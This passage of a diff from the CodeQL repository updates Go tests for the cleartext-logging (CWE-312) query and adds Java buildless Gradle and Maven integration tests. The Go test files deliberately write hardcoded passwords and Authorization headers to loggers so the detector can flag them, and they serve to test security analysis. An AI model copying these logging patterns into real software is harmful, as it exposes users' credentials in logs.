+| main.go:55:35:55:42 | password | main.go:55:35:55:42 | password | main.go:55:35:55:42 | password | $@ flows to a logging call. | main.go:55:35:55:42 | password | Sensitive data returned by an access to password |
 | overrides.go:13:14:13:23 | call to String | overrides.go:9:9:9:16 | password | overrides.go:13:14:13:23 | call to String | $@ flows to a logging call. | overrides.go:9:9:9:16 | password | Sensitive data returned by an access to password |
 | passwords.go:9:14:9:14 | x | passwords.go:30:8:30:15 | password | passwords.go:9:14:9:14 | x | $@ flows to a logging call. | passwords.go:30:8:30:15 | password | Sensitive data returned by an access to password |
 | passwords.go:25:14:25:21 | password | passwords.go:25:14:25:21 | password | passwords.go:25:14:25:21 | password | $@ flows to a logging call. | passwords.go:25:14:25:21 | password | Sensitive data returned by an access to password |
@@ -55,11 +55,11 @@
 | passwords.go:127:14:127:21 | selection of y | passwords.go:122:13:122:25 | call to getPassword | passwords.go:127:14:127:21 | selection of y | $@ flows to a logging call. | passwords.go:122:13:122:25 | call to getPassword | Sensitive data returned by a call to getPassword |
 | protobuf.go:14:14:14:35 | call to GetDescription | protobuf.go:12:22:12:29 | password | protobuf.go:14:14:14:35 | call to GetDescription | $@ flows to a logging call. | protobuf.go:12:22:12:29 | password | Sensitive data returned by an access to password |
 edges
-| klog.go:20:3:25:3 | range statement[1] | klog.go:21:27:21:33 | headers | provenance |  |
-| klog.go:20:30:20:37 | selection of Header | klog.go:20:3:25:3 | range statement[1] | provenance | Src:MaD:1 Config |
-| klog.go:21:4:24:4 | range statement[1] | klog.go:22:15:22:20 | header | provenance |  |
-| klog.go:21:27:21:33 | headers | klog.go:21:4:24:4 | range statement[1] | provenance | Config |
-| klog.go:28:13:28:20 | selection of Header | klog.go:28:13:28:41 | call to Get | provenance | Src:MaD:1 Config |
+| klog.go:21:3:26:3 | range statement[1] | klog.go:22:27:22:33 | headers | provenance |  |
+| klog.go:21:30:21:37 | selection of Header | klog.go:21:3:26:3 | range statement[1] | provenance | Src:MaD:1 Config |
+| klog.go:22:4:25:4 | range statement[1] | klog.go:23:15:23:20 | header | provenance |  |
+| klog.go:22:27:22:33 | headers | klog.go:22:4:25:4 | range statement[1] | provenance | Config |
+| klog.go:29:13:29:20 | selection of Header | klog.go:29:13:29:41 | call to Get | provenance | Src:MaD:1 Config |
 | overrides.go:9:9:9:16 | password | overrides.go:13:14:13:23 | call to String | provenance |  |
 | passwords.go:8:12:8:12 | definition of x | passwords.go:9:14:9:14 | x | provenance |  |
 | passwords.go:30:8:30:15 | password | passwords.go:8:12:8:12 | definition of x | provenance |  |
@@ -101,42 +101,42 @@ edges
 models
 | 1 | Source: net/http; Request; true; Header; ; ; ; remote; manual |
 nodes
-| klog.go:20:3:25:3 | range statement[1] | semmle.label | range statement[1] |
-| klog.go:20:30:20:37 | selection of Header | semmle.label | selection of Header |
-| klog.go:21:4:24:4 | range statement[1] | semmle.label | range statement[1] |
-| klog.go:21:27:21:33 | headers | semmle.label | headers |
-| klog.go:22:15:22:20 | header | semmle.label | header |
-| klog.go:28:13:28:20 | selection of Header | semmle.label | selection of Header |
-| klog.go:28:13:28:41 | call to Get | semmle.label | call to Get |
-| main.go:15:12:15:19 | password | semmle.label | password |
-| main.go:16:17:16:24 | password | semmle.label | password |
-| main.go:17:13:17:20 | password | semmle.label | password |
-| main.go:18:14:18:21 | password | semmle.label | password |
-| main.go:19:12:19:19 | password | semmle.label | password |
-| main.go:20:17:20:24 | password | semmle.label | password |
-| main.go:21:13:21:20 | password | semmle.label | password |
-| main.go:22:14:22:21 | password | semmle.label | password |
-| main.go:23:12:23:19 | password | semmle.label | password |
-| main.go:24:17:24:24 | password | semmle.label | password |
-| main.go:25:13:25:20 | password | semmle.label | password |
-| main.go:26:14:26:21 | password | semmle.label | password |
-| main.go:27:16:27:23 | password | semmle.label | password |
-| main.go:30:10:30:17 | password | semmle.label | password |
-| main.go:31:15:31:22 | password | semmle.label | password |
-| main.go:32:11:32:18 | password | semmle.label | password |
-| main.go:33:12:33:19 | password | semmle.label | password |
-| main.go:34:10:34:17 | password | semmle.label | password |
-| main.go:35:15:35:22 | password | semmle.label | password |
-| main.go:36:11:36:18 | password | semmle.label | password |
-| main.go:37:12:37:19 | password | semmle.label | password |
-| main.go:38:10:38:17 | password | semmle.label | password |
-| main.go:39:15:39:22 | password | semmle.label | password |
-| main.go:40:11:40:18 | password | semmle.label | password |
-| main.go:41:12:41:19 | password | semmle.label | password |
-| main.go:42:14:42:21 | password | semmle.label | password |
-| main.go:44:12:44:19 | password | semmle.label | password |
-| main.go:45:17:45:24 | password | semmle.label | password |
-| main.go:52:35:52:42 | password | semmle.label | password |
+| klog.go:21:3:26:3 | range statement[1] | semmle.label | range statement[1] |
+| klog.go:21:30:21:37 | selection of Header | semmle.label | selection of Header |
+| klog.go:22:4:25:4 | range statement[1] | semmle.label | range statement[1] |
+| klog.go:22:27:22:33 | headers | semmle.label | headers |
+| klog.go:23:15:23:20 | header | semmle.label | header |
+| klog.go:29:13:29:20 | selection of Header | semmle.label | selection of Header |
+| klog.go:29:13:29:41 | call to Get | semmle.label | call to Get |
+| main.go:16:12:16:19 | password | semmle.label | password |
+| main.go:17:19:17:26 | password | semmle.label | password |
+| main.go:18:13:18:20 | password | semmle.label | password |
+| main.go:19:14:19:21 | password | semmle.label | password |
+| main.go:20:12:20:19 | password | semmle.label | password |
+| main.go:21:19:21:26 | password | semmle.label | password |
+| main.go:22:13:22:20 | password | semmle.label | password |
+| main.go:23:14:23:21 | password | semmle.label | password |
+| main.go:24:12:24:19 | password | semmle.label | password |
+| main.go:25:19:25:26 | password | semmle.label | password |
+| main.go:26:13:26:20 | password | semmle.label | password |
+| main.go:27:14:27:21 | password | semmle.label | password |
+| main.go:28:16:28:23 | password | semmle.label | password |
+| main.go:32:10:32:17 | password | semmle.label | password |
+| main.go:33:17:33:24 | password | semmle.label | password |
+| main.go:34:11:34:18 | password | semmle.label | password |
+| main.go:35:12:35:19 | password | semmle.label | password |
+| main.go:36:10:36:17 | password | semmle.label | password |
+| main.go:37:17:37:24 | password | semmle.label | password |
+| main.go:38:11:38:18 | password | semmle.label | password |
+| main.go:39:12:39:19 | password | semmle.label | password |
+| main.go:40:10:40:17 | password | semmle.label | password |
+| main.go:41:17:41:24 | password | semmle.label | password |
+| main.go:42:11:42:18 | password | semmle.label | password |
+| main.go:43:12:43:19 | password | semmle.label | password |
+| main.go:44:14:44:21 | password | semmle.label | password |
+| main.go:47:12:47:19 | password | semmle.label | password |
+| main.go:48:17:48:24 | password | semmle.label | password |
+| main.go:55:35:55:42 | password | semmle.label | password |
 | overrides.go:9:9:9:16 | password | semmle.label | password |
 | overrides.go:13:14:13:23 | call to String | semmle.label | call to String |
 | passwords.go:8:12:8:12 | definition of x | semmle.label | definition of x |
diff --git a/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref b/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref
index b540e0ddc002..693299c33a21 100644
--- a/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref
+++ b/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref
@@ -1,2 +1,4 @@
 query: Security/CWE-312/CleartextLogging.ql
-postprocess: utils/test/PrettyPrintModels.ql
+postprocess:
+  - utils/test/PrettyPrintModels.ql
+  - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-312/klog.go b/go/ql/test/query-tests/Security/CWE-312/klog.go
index 70265c7d4719..126dc65b6966 100644
--- a/go/ql/test/query-tests/Security/CWE-312/klog.go
+++ b/go/ql/test/query-tests/Security/CWE-312/klog.go
@@ -3,9 +3,10 @@ package main
 //go:generate depstubber -vendor k8s.io/klog "" Info
 
 import (
-	"k8s.io/klog"
 	"net/http"
 	"strings"
+
+	"k8s.io/klog"
 )
 
 func mask(key, value string) string {
@@ -17,15 +18,15 @@ func mask(key, value string) string {
 
 func klogTest() {
 	http.HandleFunc("/klog", func(w http.ResponseWriter, r *http.Request) {
-		for name, headers := range r.Header {
+		for name, headers := range r.Header { // $ Source
 			for _, header := range headers {
-				klog.Info(header)             // NOT OK
+				klog.Info(header)             // $ Alert
 				klog.Info(mask(name, header)) // OK
 			}
 		}
 		klog.Info(r.Header.Get("Accept"))        // OK
 		klog.Info(r.Header["Content-Type"])      // OK
-		klog.Info(r.Header.Get("Authorization")) // NOT OK
+		klog.Info(r.Header.Get("Authorization")) // $ Alert
 	})
 	http.ListenAndServe(":80", nil)
 }
diff --git a/go/ql/test/query-tests/Security/CWE-312/main.go b/go/ql/test/query-tests/Security/CWE-312/main.go
index d91166455571..17a183ff2096 100644
--- a/go/ql/test/query-tests/Security/CWE-312/main.go
+++ b/go/ql/test/query-tests/Security/CWE-312/main.go
@@ -4,51 +4,54 @@ package main
 //go:generate depstubber -vendor github.com/golang/glog "" Info
 
 import (
+	"log"
+
 	"github.com/golang/glog"
 	"github.com/sirupsen/logrus"
-	"log"
 )
 
 func main() {
 	password := "P4ssw0rd"
 
-	log.Print(password)
-	log.Printf("", password)
-	log.Printf(password, "")
-	log.Println(password)
-	log.Fatal(password)
-	log.Fatalf("", password)
-	log.Fatalf(password, "")
-	log.Fatalln(password)
-	log.Panic(password)
-	log.Panicf("", password)
-	log.Panicf(password, "")
-	log.Panicln(password)
-	log.Output(0, password)
+	log.Print(password)        // $ Alert
+	log.Printf("%s", password) // $ Alert
+	log.Printf(password, "")   // $ Alert
+	log.Println(password)      // $ Alert
+	log.Fatal(password)        // $ Alert
+	log.Fatalf("%s", password) // $ Alert
+	log.Fatalf(password, "")   // $ Alert
+	log.Fatalln(password)      // $ Alert
+	log.Panic(password)        // $ Alert
+	log.Panicf("%s", password) // $ Alert
+	log.Panicf(password, "")   // $ Alert
+	log.Panicln(password)      // $ Alert
+	log.Output(0, password)    // $ Alert
+	log.Printf("%T", password)
 
 	l := log.Default()
-	l.Print(password)
-	l.Printf("", password)
-	l.Printf(password, "")
-	l.Println(password)
-	l.Fatal(password)
-	l.Fatalf("", password)
-	l.Fatalf(password, "")
-	l.Fatalln(password)
-	l.Panic(password)
-	l.Panicf("", password)
-	l.Panicf(password, "")
-	l.Panicln(password)
-	l.Output(0, password)
-
-	glog.Info(password)
-	logrus.Warning(password)
+	l.Print(password)        // $ Alert
+	l.Printf("%s", password) // $ Alert
+	l.Printf(password, "")   // $ Alert
+	l.Println(password)      // $ Alert
+	l.Fatal(password)        // $ Alert
+	l.Fatalf("%s", password) // $ Alert
+	l.Fatalf(password, "")   // $ Alert
+	l.Fatalln(password)      // $ Alert
+	l.Panic(password)        // $ Alert
+	l.Panicf("%s", password) // $ Alert
+	l.Panicf(password, "")   // $ Alert
+	l.Panicln(password)      // $ Alert
+	l.Output(0, password)    // $ Alert
+	l.Printf("%T", password)
+
+	glog.Info(password)      // $ Alert
+	logrus.Warning(password) // $ Alert
 
 	fields := make(logrus.Fields)
 	fields["pass"] = password
 	entry := logrus.WithFields(fields)
 	entry.Errorf("")
 
-	entry = logrus.WithField("pass", password)
+	entry = logrus.WithField("pass", password) // $ Alert
 	entry.Panic("")
 }
diff --git a/go/ql/test/query-tests/Security/CWE-312/overrides.go b/go/ql/test/query-tests/Security/CWE-312/overrides.go
index cd94b1b84b54..98fbdad9e77d 100644
--- a/go/ql/test/query-tests/Security/CWE-312/overrides.go
+++ b/go/ql/test/query-tests/Security/CWE-312/overrides.go
@@ -6,10 +6,10 @@ type s struct{}
 
 func (_ s) String() string {
 	password := "horsebatterystaplecorrect"
-	return password
+	return password // $ Source
 }
 
 func overrideTest(x s, y fmt.Stringer) {
-	fmt.Println(x.String()) // NOT OK
+	fmt.Println(x.String()) // $ Alert
 	fmt.Println(y.String()) // OK
 }
diff --git a/go/ql/test/query-tests/Security/CWE-312/passwords.go b/go/ql/test/query-tests/Security/CWE-312/passwords.go
index 5f0b291016db..f99178f0fae0 100644
--- a/go/ql/test/query-tests/Security/CWE-312/passwords.go
+++ b/go/ql/test/query-tests/Security/CWE-312/passwords.go
@@ -6,7 +6,7 @@ import (
 )
 
 func myLog(x string) {
-	log.Println(x) // NOT OK
+	log.Println(x) // $ Alert
 }
 
 func redact(kind, value string) string {
@@ -22,33 +22,33 @@ func test() {
 	x := "horsebatterystapleincorrect"
 	var o passStruct
 
-	log.Println(password)        // NOT OK
-	log.Println(o.password)      // NOT OK
-	log.Println(getPassword())   // NOT OK
-	log.Println(o.getPassword()) // NOT OK
+	log.Println(password)        // $ Alert
+	log.Println(o.password)      // $ Alert
+	log.Println(getPassword())   // $ Alert
+	log.Println(o.getPassword()) // $ Alert
 
-	myLog(password)
+	myLog(password) // $ Source
 
-	log.Panic(password) // NOT OK
+	log.Panic(password) // $ Alert
 
-	log.Println(name + ", " + password) // NOT OK
+	log.Println(name + ", " + password) // $ Alert
 
 	obj1 := passStruct{
-		password: x,
+		password: x, // $ Source
 	}
-	log.Println(obj1) // NOT OK
+	log.Println(obj1) // $ Alert
 
 	obj2 := xStruct{
-		x: password,
+		x: password, // $ Source
 	}
-	log.Println(obj2) // NOT OK
+	log.Println(obj2) // $ Alert
 
 	var obj3 xStruct
-	log.Println(obj3) // caught because of the below line
-	obj3.x = password // NOT OK
+	log.Println(obj3) // $ SPURIOUS: Alert // caught because of the below line and def-use flow
+	obj3.x = password // $ Source
 
 	fixed_password := "cowbatterystaplecorrect"
-	log.Println(fixed_password) // Probably OK, but caught
+	log.Println(fixed_password) // $ Alert // Probably OK
 
 	log.Println(IncorrectPasswordError) // OK
 
@@ -83,12 +83,12 @@ func test() {
 	log.Println(password_sha) // OK
 
 	utilityObject := passSetStruct{
-		passwordSet: make(map[string]bool),
+		passwordSet: make(map[string]bool), // $ Source
 	}
-	log.Println(utilityObject) // NOT OK
+	log.Println(utilityObject) // $ Alert
 
-	secret := password
-	log.Printf("pw: %s", secret) // NOT OK
+	secret := password           // $ Source
+	log.Printf("pw: %s", secret) // $ Alert
 
 	log.Println("Password is: " + redact("password", password))
 
@@ -98,33 +98,33 @@ func test() {
 	if t.test(y) {
 		f()
 		// ...
-		log.Println("Password is: " + password) // NOT OK
+		log.Println("Password is: " + password) // $ Alert
 		// ...
 	}
 
 	if t.test(y) {
 		if f() {
-			log.Println("Password is: " + password) // NOT OK
+			log.Println("Password is: " + password) // $ Alert
 		}
 	}
 
 	if os.Getenv("APP_ENV") != "production" {
-		log.Println("Password is: " + password) // OK, but still flagged
+		log.Println("Password is: " + password) // $ SPURIOUS: Alert
 	}
 
 	var password1 stringable = stringable{"arstneio"}
-	log.Println(name + ", " + password1.String()) // NOT OK
+	log.Println(name + ", " + password1.String()) // $ Alert
 
 	config := Config{
-		password: x,
+		password: x, // $ Source
 		hostname: "tarski",
-		x:        password,
-		y:        getPassword(),
+		x:        password,      // $ Source
+		y:        getPassword(), // $ Source
 	}
 	log.Println(config.hostname) // OK
-	log.Println(config)          // NOT OK
-	log.Println(config.x)        // NOT OK
-	log.Println(config.y)        // NOT OK
+	log.Println(config)          // $ Alert
+	log.Println(config.x)        // $ Alert
+	log.Println(config.y)        // $ Alert
 
 	obj4 := xStruct{
 		x: "aaaaa",
diff --git a/go/ql/test/query-tests/Security/CWE-312/protobuf.go b/go/ql/test/query-tests/Security/CWE-312/protobuf.go
index ce8e2218842b..a995f0d7cb8b 100644
--- a/go/ql/test/query-tests/Security/CWE-312/protobuf.go
+++ b/go/ql/test/query-tests/Security/CWE-312/protobuf.go
@@ -9,8 +9,8 @@ func testProtobuf() {
 	password := "P@ssw0rd"
 
 	query := &query.Query{}
-	query.Description = password
+	query.Description = password // $ Source
 
-	log.Println(query.GetDescription()) // NOT OK
+	log.Println(query.GetDescription()) // $ Alert
 	log.Println(query.GetId())          // OK
 }
diff --git a/java/ql/consistency-queries/SsaConsistency.ql b/java/ql/consistency-queries/SsaConsistency.ql
new file mode 100644
index 000000000000..b62db63ac5ba
--- /dev/null
+++ b/java/ql/consistency-queries/SsaConsistency.ql
@@ -0,0 +1,3 @@
+import java
+import semmle.code.java.dataflow.internal.SsaImpl
+import Impl::Consistency
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/build.gradle b/java/ql/integration-tests/java/buildless-gradle-boms/build.gradle
new file mode 100644
index 000000000000..c70d65bed806
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/build.gradle
@@ -0,0 +1,18 @@
+/*
+ * This file was generated by the Gradle 'init' task.
+ *
+ * This is a general purpose Gradle build.
+ * To learn more about Gradle by exploring our Samples at https://docs.gradle.org/8.3/samples
+ */
+
+apply plugin: 'java-library'
+
+repositories {
+  mavenCentral()
+}
+
+dependencies {
+  api 'org.apache.commons:commons-math3:3.6.1'
+
+  api 'org.junit.jupiter:junit-jupiter-api:5.12.1'
+}
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected b/java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected
new file mode 100644
index 000000000000..7b336ba62cb6
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected
@@ -0,0 +1,5 @@
+https://repo.maven.apache.org/maven2/org/apache/commons/commons-math3/3.6.1/commons-math3-3.6.1.jar
+https://repo.maven.apache.org/maven2/org/apiguardian/apiguardian-api/1.1.2/apiguardian-api-1.1.2.jar
+https://repo.maven.apache.org/maven2/org/junit/jupiter/junit-jupiter-api/5.12.1/junit-jupiter-api-5.12.1.jar
+https://repo.maven.apache.org/maven2/org/junit/platform/junit-platform-commons/1.12.1/junit-platform-commons-1.12.1.jar
+https://repo.maven.apache.org/maven2/org/opentest4j/opentest4j/1.3.0/opentest4j-1.3.0.jar
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected b/java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected
new file mode 100644
index 000000000000..976e0eb08fce
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected
@@ -0,0 +1,70 @@
+{
+  "markdownMessage": "Java analysis used build tool Gradle to pick a JDK version and/or to recommend external dependencies.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/using-build-tool-advice",
+    "name": "Java analysis used build tool Gradle to pick a JDK version and/or to recommend external dependencies"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis used the system default JDK.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/jdk-system-default",
+    "name": "Java analysis used the system default JDK"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis with build-mode 'none' completed.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/complete",
+    "name": "Java analysis with build-mode 'none' completed"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java was extracted with build-mode set to 'none'. This means that all Java source in the working directory will be scanned, with build tools such as Maven and Gradle only contributing information about external dependencies.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/mode-active",
+    "name": "Java was extracted with build-mode set to 'none'"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Reading the dependency graph from build files provided 5 classpath entries",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/depgraph-provided-by-gradle",
+    "name": "Java analysis extracted precise dependency graph information from tool Gradle"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle b/java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle
new file mode 100644
index 000000000000..227c1aae87a1
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle
@@ -0,0 +1,8 @@
+/*
+ * This file was generated by the Gradle 'init' task.
+ *
+ * The settings file is used to specify which projects to include in your build.
+ * For more detailed information on multi-project builds, please refer to https://docs.gradle.org/8.3/userguide/building_swift_projects.html in the Gradle documentation.
+ */
+
+rootProject.name = 'buildless-gradle'
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected b/java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected
new file mode 100644
index 000000000000..82828506b8ae
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected
@@ -0,0 +1,6 @@
+.gradle/8.3/dependencies-accessors/gc.properties
+.gradle/8.3/gc.properties
+.gradle/buildOutputCleanup/cache.properties
+.gradle/vcs-1/gc.properties
+gradle/wrapper/gradle-wrapper.properties
+src/main/java/com/fractestexample/Test.java
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java b/java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java
new file mode 100644
index 000000000000..b8dc610a62e1
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java
@@ -0,0 +1,9 @@
+package com.fractestexample;
+
+import org.apache.commons.math3.fraction.Fraction;
+
+public class Test {
+
+  public Fraction test(org.junit.jupiter.api.Test t) { return Fraction.ONE; }
+
+}
diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/test.py b/java/ql/integration-tests/java/buildless-gradle-boms/test.py
new file mode 100644
index 000000000000..bea3e5f552c0
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-gradle-boms/test.py
@@ -0,0 +1,7 @@
+def test(codeql, java, gradle_8_3):
+    codeql.database.create(
+        _env={
+            "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true",
+            "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS_CLASSPATH_FROM_BUILD_FILES": "true",
+        }
+    )
diff --git a/java/ql/integration-tests/java/buildless-inherit-trust-store/server.py b/java/ql/integration-tests/java/buildless-inherit-trust-store/server.py
index 60b3f408a05d..33d0fdb2672a 100644
--- a/java/ql/integration-tests/java/buildless-inherit-trust-store/server.py
+++ b/java/ql/integration-tests/java/buildless-inherit-trust-store/server.py
@@ -4,7 +4,8 @@
 
 httpd = HTTPServer(('localhost', 4443), SimpleHTTPRequestHandler)
 
-sslctx = ssl.SSLContext()
+sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
+sslctx.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
 sslctx.load_cert_chain(certfile="../cert.pem", keyfile="../key.pem")
 
 httpd.socket = sslctx.wrap_socket (httpd.socket, server_side=True)
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected
new file mode 100644
index 000000000000..e3710cc4cb93
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected
@@ -0,0 +1,26 @@
+https://repo.maven.apache.org/maven2/com/feiniaojin/naaf/naaf-graceful-response-example/1.0/naaf-graceful-response-example-1.0.jar
+https://repo.maven.apache.org/maven2/com/github/MoebiusSolutions/avro-registry-in-source/avro-registry-in-source-tests/1.8/avro-registry-in-source-tests-1.8.jar
+https://repo.maven.apache.org/maven2/com/github/MoebiusSolutions/avro-registry-in-source/example-project/1.5/example-project-1.5.jar
+https://repo.maven.apache.org/maven2/com/intuit/benten/benten-examples/0.1.5/benten-examples-0.1.5.jar
+https://repo.maven.apache.org/maven2/com/jakewharton/twirl/sample-runtime/1.2.0/sample-runtime-1.2.0.jar
+https://repo.maven.apache.org/maven2/com/mattunderscore/code/generation/specky/plugin-example/0.8.0/plugin-example-0.8.0.jar
+https://repo.maven.apache.org/maven2/com/microsoft/tang/tang-test-jarAB/0.9/tang-test-jarAB-0.9.jar
+https://repo.maven.apache.org/maven2/de/knutwalker/rx-redis-example_2.11/0.1.2/rx-redis-example_2.11-0.1.2.jar
+https://repo.maven.apache.org/maven2/de/knutwalker/rx-redis-java-example_2.11/0.1.2/rx-redis-java-example_2.11-0.1.2.jar
+https://repo.maven.apache.org/maven2/io/github/scrollsyou/example-spring-boot-starter/1.0.0/example-spring-boot-starter-1.0.0.jar
+https://repo.maven.apache.org/maven2/io/streamnative/com/example/maven-central-template/server/3.0.0/server-3.0.0.jar
+https://repo.maven.apache.org/maven2/no/nav/security/token-validation-ktor-demo/3.1.0/token-validation-ktor-demo-3.1.0.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-fileupload/0.5.10/minijax-example-fileupload-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-inject/0.5.10/minijax-example-inject-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-json/0.5.10/minijax-example-json-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-mustache/0.5.10/minijax-example-mustache-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-petclinic/0.5.10/minijax-example-petclinic-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-security/0.5.10/minijax-example-security-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-ssl/0.5.10/minijax-example-ssl-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-todo-backend/0.5.10/minijax-example-todo-backend-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/minijax/minijax-example-websocket/0.5.10/minijax-example-websocket-0.5.10.jar
+https://repo.maven.apache.org/maven2/org/scalamock/scalamock-examples_2.10/3.6.0/scalamock-examples_2.10-3.6.0.jar
+https://repo.maven.apache.org/maven2/org/somda/sdc/glue-examples/4.0.0/glue-examples-4.0.0.jar
+https://repo.maven.apache.org/maven2/us/fatehi/schemacrawler-examplecode/16.20.2/schemacrawler-examplecode-16.20.2.jar
+https://repo1.maven.org/maven2/junit/junit/4.11/junit-4.11.jar
+https://repo1.maven.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.jar
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected
new file mode 100644
index 000000000000..f3c89bb842a0
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected
@@ -0,0 +1,70 @@
+{
+  "markdownMessage": "Java analysis used build tool Maven to pick a JDK version and/or to recommend external dependencies.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/using-build-tool-advice",
+    "name": "Java analysis used build tool Maven to pick a JDK version and/or to recommend external dependencies"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis used the system default JDK.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/jdk-system-default",
+    "name": "Java analysis used the system default JDK"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis with build-mode 'none' completed.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/complete",
+    "name": "Java analysis with build-mode 'none' completed"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java was extracted with build-mode set to 'none'. This means that all Java source in the working directory will be scanned, with build tools such as Maven and Gradle only contributing information about external dependencies.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/mode-active",
+    "name": "Java was extracted with build-mode set to 'none'"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Reading the dependency graph from build files provided 2 classpath entries",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/depgraph-provided-by-maven",
+    "name": "Java analysis extracted precise dependency graph information from tool Maven"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected
new file mode 100644
index 000000000000..de38626f4d84
--- /dev/null
+++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected
@@ -0,0 +1,77 @@
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-annotations/2.14.1/jackson-annotations-2.14.1.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-annotations/2.14.1/jackson-annotations-2.14.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-core/2.14.1/jackson-core-2.14.1.jar
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-core/2.14.1/jackson-core-2.14.1.pom
+Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-databind/2.14.1/jackson-databind-2.14.1.jar
